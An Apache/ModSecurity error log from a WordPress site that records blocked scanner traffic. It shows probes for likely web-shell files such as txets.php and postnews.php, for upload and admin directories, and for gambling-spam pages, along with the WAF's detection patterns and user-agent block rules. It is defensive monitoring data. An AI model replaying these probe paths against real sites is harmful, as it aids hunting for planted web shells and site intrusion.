[Thu Mar 05 21:52:13.657863 2026] [:error] [pid 8151:tid 8234] [client 75.119.155.172:37086] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aamKjZO3dLEidct1HvCJYwAAAY4"]
[Thu Mar 05 21:52:16.156243 2026] [:error] [pid 8151:tid 8233] [client 75.119.155.172:60414] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aamKkJO3dLEidct1HvCJbAAAAY0"]
[Thu Mar 05 21:52:18.762845 2026] [:error] [pid 53350:tid 53383] [client 75.119.155.172:60424] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aamKkqO0Baxc5WFYeP14qwAAAQg"]
[Thu Mar 05 21:52:21.369692 2026] [:error] [pid 62177:tid 62312] [client 75.119.155.172:60434] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aamKlRWSQc2OzPrsnwXywwAAAIE"]
[Thu Mar 05 21:52:24.146962 2026] [:error] [pid 62435:tid 62470] [client 75.119.155.172:60448] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aamKmCMZJMDfZh_-8sWOeQAAANQ"]
[Thu Mar 05 21:52:26.965909 2026] [:error] [pid 8151:tid 8228] [client 75.119.155.172:59858] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aamKmpO3dLEidct1HvCJkAAAAYk"]
[Thu Mar 05 21:52:29.816628 2026] [:error] [pid 41459:tid 41488] [client 75.119.155.172:59862] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aamKnedFBZEnZ3pzxrVlpAAAAU4"]
[Thu Mar 05 21:52:32.704521 2026] [:error] [pid 41459:tid 41481] [client 75.119.155.172:59876] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aamKoOdFBZEnZ3pzxrVlsQAAAUc"]
[Thu Mar 05 21:52:35.383767 2026] [:error] [pid 8151:tid 8224] [client 75.119.155.172:59880] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aamKo5O3dLEidct1HvCJmQAAAYU"]
[Thu Mar 05 21:52:38.173898 2026] [:error] [pid 53350:tid 53399] [client 75.119.155.172:6568] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aamKpqO0Baxc5WFYeP14uAAAARY"]
[Thu Mar 05 21:52:40.771773 2026] [:error] [pid 8151:tid 8225] [client 75.119.155.172:6570] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aamKqJO3dLEidct1HvCJpQAAAYY"]
[Thu Mar 05 22:40:27.117506 2026] [:error] [pid 41459:tid 41480] [client 157.15.40.88:50602] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/txets.php"] [unique_id "aamV2-dFBZEnZ3pzxrWD-AAAAUY"]
[Thu Mar 05 22:40:27.381206 2026] [:error] [pid 62177:tid 62322] [client 157.15.40.88:50676] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/txets.php"] [unique_id "aamV2xWSQc2OzPrsnwX6PgAAAIs"]
[Thu Mar 05 22:40:27.636312 2026] [:error] [pid 8151:tid 8242] [client 157.15.40.88:50763] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/txets.php"] [unique_id "aamV25O3dLEidct1HvCo7gAAAZY"]
[Thu Mar 05 22:40:27.896063 2026] [:error] [pid 62176:tid 62289] [client 157.15.40.88:50841] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "aamV2yNfTPJryi30JPkJswAAAEU"]
[Thu Mar 05 22:40:28.158308 2026] [:error] [pid 8151:tid 8242] [client 157.15.40.88:50917] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/schallfuns.php"] [unique_id "aamV3JO3dLEidct1HvCpMAAAAZY"]
[Thu Mar 05 22:40:28.421168 2026] [:error] [pid 62173:tid 62272] [client 157.15.40.88:50999] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/postnews.php"] [unique_id "aamV3Gj_GWbFb-1ncGmBGwAAABI"]
[Thu Mar 05 22:40:28.690073 2026] [:error] [pid 62173:tid 62259] [client 157.15.40.88:51087] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aamV3Gj_GWbFb-1ncGmBIwAAAAc"]
[Thu Mar 05 22:40:28.943917 2026] [:error] [pid 8151:tid 8244] [client 157.15.40.88:51172] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aamV3JO3dLEidct1HvCpZwAAAZg"]
[Thu Mar 05 22:40:29.210005 2026] [:error] [pid 62177:tid 62333] [client 157.15.40.88:51264] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/postnews.php"] [unique_id "aamV3RWSQc2OzPrsnwX6gQAAAJU"]
[Thu Mar 05 22:48:26.037235 2026] [:error] [pid 8151:tid 8217] [client 170.106.35.153:60170] [client 170.106.35.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aamXupO3dLEidct1HvCuTgAAAYA"]
[Thu Mar 05 22:51:57.314102 2026] [autoindex:error] [pid 8151:tid 8244] [client 138.199.19.165:58132] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:51:57.617944 2026] [autoindex:error] [pid 8151:tid 8224] [client 138.199.19.165:58132] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:51:58.211926 2026] [autoindex:error] [pid 8151:tid 8235] [client 138.199.19.165:58132] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:51:58.570816 2026] [autoindex:error] [pid 8151:tid 8241] [client 138.199.19.165:58132] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:51:58.977447 2026] [autoindex:error] [pid 8151:tid 8244] [client 138.199.19.165:58132] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:51:59.315178 2026] [autoindex:error] [pid 8151:tid 8240] [client 138.199.19.165:58132] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:52:18.709030 2026] [autoindex:error] [pid 8151:tid 8225] [client 138.199.19.165:58132] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:52:19.851896 2026] [autoindex:error] [pid 8151:tid 8234] [client 138.199.19.165:58132] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:52:20.228665 2026] [autoindex:error] [pid 8151:tid 8224] [client 138.199.19.165:58132] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:52:20.828846 2026] [autoindex:error] [pid 8151:tid 8227] [client 138.199.19.165:58132] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:52:21.291191 2026] [autoindex:error] [pid 8151:tid 8234] [client 138.199.19.165:58132] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:52:35.652201 2026] [autoindex:error] [pid 8151:tid 8240] [client 138.199.19.165:58132] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 05 22:52:53.891974 2026] [:error] [pid 8151:tid 8232] [client 138.199.19.165:58132] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web/"] [unique_id "aamYxZO3dLEidct1HvCxwgAAAYw"]
[Thu Mar 05 22:52:54.467964 2026] [:error] [pid 41459:tid 41488] [client 138.199.19.165:43946] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web/"] [unique_id "aamYxudFBZEnZ3pzxrWKKQAAAU4"]
[Thu Mar 05 22:52:55.080342 2026] [:error] [pid 41459:tid 41478] [client 138.199.19.165:43962] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web/"] [unique_id "aamYx-dFBZEnZ3pzxrWKKwAAAUQ"]
[Thu Mar 05 22:52:55.707966 2026] [:error] [pid 53350:tid 53386] [client 138.199.19.165:43978] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web/"] [unique_id "aamYx6O0Baxc5WFYeP2IlQAAAQo"]
[Thu Mar 05 22:52:56.295061 2026] [:error] [pid 8151:tid 8220] [client 138.199.19.165:36424] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/"] [unique_id "aamYyJO3dLEidct1HvCx0QAAAYE"]
[Thu Mar 05 22:52:56.894713 2026] [:error] [pid 8151:tid 8232] [client 138.199.19.165:36436] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/"] [unique_id "aamYyJO3dLEidct1HvCx1QAAAYw"]
[Thu Mar 05 22:52:57.413078 2026] [:error] [pid 8151:tid 8238] [client 138.199.19.165:36448] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/"] [unique_id "aamYyZO3dLEidct1HvCx2gAAAZI"]
[Thu Mar 05 22:52:57.985201 2026] [:error] [pid 8151:tid 8237] [client 138.199.19.165:36464] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/"] [unique_id "aamYyZO3dLEidct1HvCx3gAAAZE"]
[Thu Mar 05 22:52:58.630588 2026] [:error] [pid 53350:tid 53400] [client 138.199.19.165:36490] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/"] [unique_id "aamYyqO0Baxc5WFYeP2IngAAARc"]
[Thu Mar 05 22:52:59.199078 2026] [:error] [pid 8151:tid 8217] [client 138.199.19.165:36498] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/"] [unique_id "aamYy5O3dLEidct1HvCx5AAAAYA"]
[Thu Mar 05 22:52:59.752796 2026] [:error] [pid 53350:tid 53389] [client 138.199.19.165:36516] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/"] [unique_id "aamYy6O0Baxc5WFYeP2InwAAAQw"]
[Thu Mar 05 22:53:00.398342 2026] [:error] [pid 53350:tid 53399] [client 138.199.19.165:36538] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/"] [unique_id "aamYzKO0Baxc5WFYeP2IoQAAARY"]
[Thu Mar 05 22:53:00.928078 2026] [:error] [pid 8151:tid 8225] [client 138.199.19.165:36548] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/"] [unique_id "aamYzJO3dLEidct1HvCx7AAAAYY"]
[Thu Mar 05 22:53:01.487954 2026] [:error] [pid 62176:tid 62307] [client 138.199.19.165:36564] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/"] [unique_id "aamYzSNfTPJryi30JPkLHgAAAFc"]
[Thu Mar 05 22:53:02.069301 2026] [:error] [pid 41459:tid 41495] [client 138.199.19.165:36570] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/"] [unique_id "aamYzudFBZEnZ3pzxrWKMgAAAVU"]
[Thu Mar 05 22:53:02.596965 2026] [:error] [pid 8151:tid 8239] [client 138.199.19.165:36598] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/uploads/"] [unique_id "aamYzpO3dLEidct1HvCx-AAAAZM"]
[Thu Mar 05 22:53:03.198527 2026] [:error] [pid 53350:tid 53391] [client 138.199.19.165:36618] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Admin/uploads/"] [unique_id "aamYz6O0Baxc5WFYeP2IowAAAQ4"]
[Thu Mar 05 22:53:04.660360 2026] [:error] [pid 62177:tid 62329] [client 138.199.19.165:36636] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Admin/uploads/"] [unique_id "aamY0BWSQc2OzPrsnwX80AAAAJE"]
[Thu Mar 05 22:53:05.179958 2026] [:error] [pid 8151:tid 8220] [client 138.199.19.165:36658] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Admin/uploads/"] [unique_id "aamY0ZO3dLEidct1HvCyBwAAAYE"]
[Thu Mar 05 22:53:05.787267 2026] [:error] [pid 53350:tid 53396] [client 138.199.19.165:36686] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Admin/uploads/"] [unique_id "aamY0aO0Baxc5WFYeP2IpQAAARM"]
[Thu Mar 05 22:53:06.369574 2026] [:error] [pid 8151:tid 8221] [client 138.199.19.165:57614] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/"] [unique_id "aamY0pO3dLEidct1HvCyEAAAAYI"]
[Thu Mar 05 22:53:06.971832 2026] [:error] [pid 8151:tid 8217] [client 138.199.19.165:57632] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/"] [unique_id "aamY0pO3dLEidct1HvCyEwAAAYA"]
[Thu Mar 05 22:53:07.592599 2026] [:error] [pid 53350:tid 53395] [client 138.199.19.165:57664] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/"] [unique_id "aamY06O0Baxc5WFYeP2IqgAAARI"]
